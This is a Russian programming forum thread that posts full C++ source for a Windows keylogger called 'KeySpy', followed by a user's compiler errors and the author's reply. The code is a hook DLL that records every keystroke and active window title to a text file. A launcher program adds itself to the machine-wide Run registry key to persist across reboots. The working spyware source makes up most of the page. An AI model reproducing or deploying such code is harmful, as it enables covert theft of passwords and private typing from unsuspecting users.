199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
 
/ Hook.cpp : DLL-Project
// 
 
#include <windows.h>
#include <stdio.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего
#pragma data_seg() // конец секции
#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus 
#define EXPORT extern "C" __declspec (dllexport) 
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
// а эти будут у всех свои
HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!!
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   SYSTEMTIME time;
   char buffer[30];
 
   GetLocalTime(&time); // получаем дату и время
// форматируем это в String
   sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                   time.wMonth,time.wYear,time.wHour,time.wMinute);
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
   WriteTime(); // сначала пишем время
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   char buffer[250];
   char title[256];
   GetWindowText(hWnd,title,100); // получаем имя
   sprintf(buffer," %s\r\n",title);
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
   BYTE btKeyState[256];
   HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
   WORD Symbol; 
   GetKeyboardState(btKeyState); 
   if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
       return Symbol;
    return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
   DWORD NOfBytes;
   OVERLAPPED ovlp;
   DWORD ffsze;
   WORD wc;
 
   ffsze=GetFileSize(hFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;
 
   if(wParam==VK_RETURN) 
       WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
   else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
       if(iswprint(wc)) // проверяем или знак текстовой
           WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
   switch(ul_reason_for_call)
    {
       case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память
       {
           if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый
               hi=hModule;
           char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
                    // будет создавать новый в своем каталоге
           GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
           *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
           strcat(pfad,"KeySpy.txt"); // вставляем имя файла
        // каждый процесс должен открыть для себя файл отдельно
           if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                       FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                       OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                   return FALSE;
           break;
       }
 
        case DLL_PROCESS_DETACH:
       { // Снимать хуки и закрывать файл необязательно 
        // Система делает это автоматически
        // UnhookWindowsHookEx(hKeyHook);
        // UnhookWindowsHookEx(hCBTHook);
        // CloseHandle(hFile);
           break;
       }
       default:
           break;
   }
   return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
// вызывается при нажатии или отпускании клавиши
{
   if (nCode)
       return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
   if(lParam>=0) // нам нужно только нажатие
       WriteSymbol(wParam);
   return CallNextHookEx(hKeyHook,nCode,wParam,lParam);     // обработали передаем дальше
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
   if(nCode==HCBT_ACTIVATE)
// вызывается перед тем как система собирается активировать какоето окно или открыть новое
           WriteTitle((HWND)wParam); // wParam новый HWND
   return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше
}
 
BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек
{
   hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0);
   hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0);
   return hKeyHook && hCBTHook;
}
// конец DLL
Компилим, получаем hook.dll и hook.lib
 
А это простое приложение:
// KeySpy.cpp 
// 
 
#include <windows.h>
 
#ifdef __cplusplus
#define IMPORT extern "C" __declspec (dllimport) 
#else
#define IMPORT __declspec (dllimport)
#endif
 
IMPORT BOOL SetKeyboardHook(void);     // функция импортируемая из DLL
 
BOOL Mutex(LPSTR szName)     // проверяет запущена ли уже копия
{
   HANDLE hMutex = CreateMutex (NULL, TRUE, szName);
   if (GetLastError() == ERROR_ALREADY_EXISTS)    
   {
       CloseHandle(hMutex);
       return FALSE;     // уже запущена
   }
   return TRUE; // все путем
}
 
void Registry(void) // вписываем в автозапуск
{
   HKEY hKey = HKEY_LOCAL_MACHINE; 
   LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
   DWORD dwType = REG_SZ;
   HKEY key;
   RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
   char pfad[MAX_PATH];
   GetModuleFileName(NULL,pfad,MAX_PATH);
   RegSetValueEx(key,"KeySpy",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
}
 
int APIENTRY WinMain(HINSTANCE hInstance,
           HINSTANCE hPrevInstance,
           LPSTR lpCmdLine,
           int nCmdShow )
{
   if(!Mutex("MySpy"))
       return 1; // одна копия уже есть закрываемся
 
   Registry();
 
   if(!SetKeyboardHook()) // устанавливаем хуки
       return 1; // не получилось закрываемся
 
// а это бесконечный цикл
   MSG msg;
   while (GetMessage (&msg, NULL, 0, 0))
   {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
   }
   return 0;
}
Не забудьте включить в проект hook.lib и скопировать hook.dll к MySpy.exe.
-=ЮрА=-
Заблокирован
Автор FAQ
21.08.2011, 17:16  [ТС]     В продолжение топика о пароле на папку #10
Цитата Сообщение от Kopmec Посмотреть сообщение
В этом коде выделена ошибка в строке 92 вот она ниже приведенная
else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
- пришли ошибку компилятора, код выложенный в архивах рабочий здесь(В продолжение топика о пароле на папку), так что нужно разбираться почему у тебя компилятор ругается...
Kopmec
 Аватар для Kopmec
0 / 0 / 0
Регистрация: 13.08.2011
Сообщений: 31
10.09.2011, 19:14     В продолжение топика о пароле на папку #11
вот код ошибки


Компилятор: Default compiler
Выполнение g++.exe...
g++.exe "C:\Documents and Settings\777\Мои документы\Безымянный1.cpp" -o "C:\Documents and Settings\777\Мои документы\Безымянный1.exe" -g3 -I"C:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" -g3
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp: In function `void WriteSymbol(WPARAM)':
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:92: warning: comparison is always true due to limited range of data type
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:93: error: `iswprint' undeclared (first use this function)
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:93: error: (Each undeclared identifier is reported only once for each function it appears in.)

C:\Documents and Settings\777\Мои документы\Безымянный1.cpp: At global scope:
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:157: error: expected unqualified-id before '?' token
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:157: error: expected `,' or `;' before '?' token

C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:218: error: expected unqualified-id before '?' token
C:\Documents and Settings\777\Мои документы\Безымянный1.cpp:218: error: expected `,' or `;' before '?' token

Выполнение завершено
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
10.09.2011, 19:19     В продолжение топика о пароле на папку
Еще ссылки по теме:

Продолжение цикла C++
C++ Продолжение строки с нового абзаца в коде
Продолжение строки C++

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
-=ЮрА=-
Заблокирован
Автор FAQ
10.09.2011, 19:19  [ТС]     В продолжение топика о пароле на папку #12
Цитата Сообщение от Kopmec Посмотреть сообщение
g++.exe
- программа линковалась компилятором VS 6.0
Yandex
Объявления
10.09.2011, 19:19     В продолжение топика о пароле на папку
Ответ Создать тему
Опции темы

Текущее время: 21:00. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru